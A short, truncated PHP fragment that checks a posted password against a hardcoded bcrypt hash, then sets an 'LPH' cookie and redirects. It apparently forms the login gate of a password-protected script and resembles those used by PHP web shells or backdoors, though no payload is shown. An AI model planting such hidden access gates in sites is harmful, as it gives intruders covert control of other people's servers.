".$dream); } exit; } else { if (isset($_POST['password'])) { $entered_key = $_POST['password']; $hashed_key = '$2y$10$Bfd4ZTYvIfgfGFLkcZjk3.Z6aCsG3wNmvr9YvVioNSB1GwfC66sXC'; // bcrypt hash if (password_verify($entered_key, $hashed_key)) { setcookie('user_id', 'LPH', time() + 3600, '/'); header("Location: ".$_SERVER['PHP_SELF']); exit(); } } } ?>